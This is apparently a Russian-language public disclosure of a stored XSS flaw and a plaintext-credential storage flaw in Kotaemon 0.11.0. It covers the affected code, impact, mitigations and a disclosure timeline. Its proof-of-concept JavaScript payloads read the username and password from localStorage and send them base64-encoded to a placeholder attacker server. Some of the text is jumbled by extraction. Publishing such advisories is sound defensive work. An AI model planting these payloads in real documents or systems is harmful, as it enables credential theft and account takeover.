
Публичное раскрытие CVE-2025-56526 и CVE-2025-56527 — Stored XSS через несанитизированное отображение содержимого PDF и раскрытие учетных данных в виде открытого текста в Kotaemon 0.11.0. Включает полный технический анализ, PoC, оценку воздействия и график ответственного раскрытия.
Межсайтовый скриптинг (Stored XSS) в информационной панели Kotaemon в сочетании с хранением учётных данных в открытом виде в
localStorageпозволяет осуществить полную компрометацию сессии при загрузке единственного вредоносного PDF-файла.
<= 0.11.0 (включая коммит 37cdc28)CVE-2025-56526 – Хранимая XSS через несанитизированное отображение содержимого PDFCVE-2025-56527 – Хранение имени пользователя и пароля в открытом виде в localStorage| CVE ID | Уязвимость | CWE | Основное воздействие |
|---|---|---|---|
| CVE-2025-56526 | Хранимая XSS через HTML, полученный из PDF | CWE-79 | Произвольное выполнение JavaScript, кража данных |
| CVE-2025-56527 | Хранение учётных данных в открытом виде | CWE-922 | Раскрытие учётных данных, захват сессии |
Результаты извлечения PDF (текст, разметка таблиц, метаданные изображений) внедряются в DOM без экранирования. Вредоносный PDF может содержать произвольный HTML/JS, который выполняется при каждом просмотре retrieved_content в информационной панели или представлениях Reasoning.
Затронутые участки кода:
libs/ktem/ktem/utils/render.py (Render.table, Render.image, Render.collapsible_with_header)libs/ktem/ktem/index/file/ui.py (отображение table / image)libs/ktem/ktem/reasoning/simple.py и libs/ktem/ktem/reasoning/react.pylibs/kotaemon/kotaemon/indices/qa/format_context.pylocalStoragelibs/ktem/ktem/pages/login.py совместно с libs/ktem/ktem/assets/js/main.js сохраняет и извлекает учётные данные в открытом виде напрямую из localStorage:
setStorage('username', usn);
setStorage('password', pwd);
const username = getStorage('username', '');
const password = getStorage('password', '');
Любой JavaScript, выполняемый через вектор XSS, может немедленно прочитать эти значения, что приводит к надёжной краже учётных данных и долговременному захвату учётной записи.
alt изображения или текстового объекта): {
const u = localStorage.getItem('username');
const p = localStorage.getItem('password');
if (u && p) {
new Image().src='https://[ATTACKER-SERVER]?d=' + btoa(`id=${u}&pw=${p}`);
}
})();
">
{
const payload = btoa(
`id=${localStorage.getItem('username')}` +
`&pw=${localStorage.getItem('password')}` +
`&url=${location.href}&origin=${location.origin}` +
`&ua=${navigator.userAgent}`
);
new Image().src='https://[ATTACKER-SERVER]?d=' + payload;
})();
">
имя пользователя / пароль в открытом виде становятся доступными любому внедрённому скрипту.Kotaemon часто развёртывается в локальных или корпоративных средах, где пользователи загружают конфиденциальные внутренние документы. Поскольку содержимое, извлечённое из PDF, вставляется в DOM без санитизации, злоумышленник может замаскировать вредоносную нагрузку внутри внешне нормального делового документа.
Когда жертва загружает и просматривает этот документ, скрытый JavaScript выполняется автоматически, похищая учётные данные из localStorage и раскрывая содержимое приватных чатов и документов.
Хотя триггер выглядит инициированным пользователем, это не self-XSS. Корневая причина — неспособность сервера санитизировать HTML, извлечённый из загруженных файлов, что приводит к хранимой XSS внутри доверенных компонентов интерфейса.
В результате, в реалистичных сценариях социальной инженерии, один вредоносный PDF может привести к полной компрометации учётной записи.
html.escape, DOMPurify или Trusted Types для DOM-приёмников).script-src 'self') и Trusted Types для уменьшения поверхности атаки DOM XSS.screenshots/)







Данное публичное уведомление составлено в соответствии с общепринятыми практиками ответственного раскрытия:
Пользователям Kotaemon (<= 0.11.0) до появления исправления безопасности рекомендуется:
[email protected]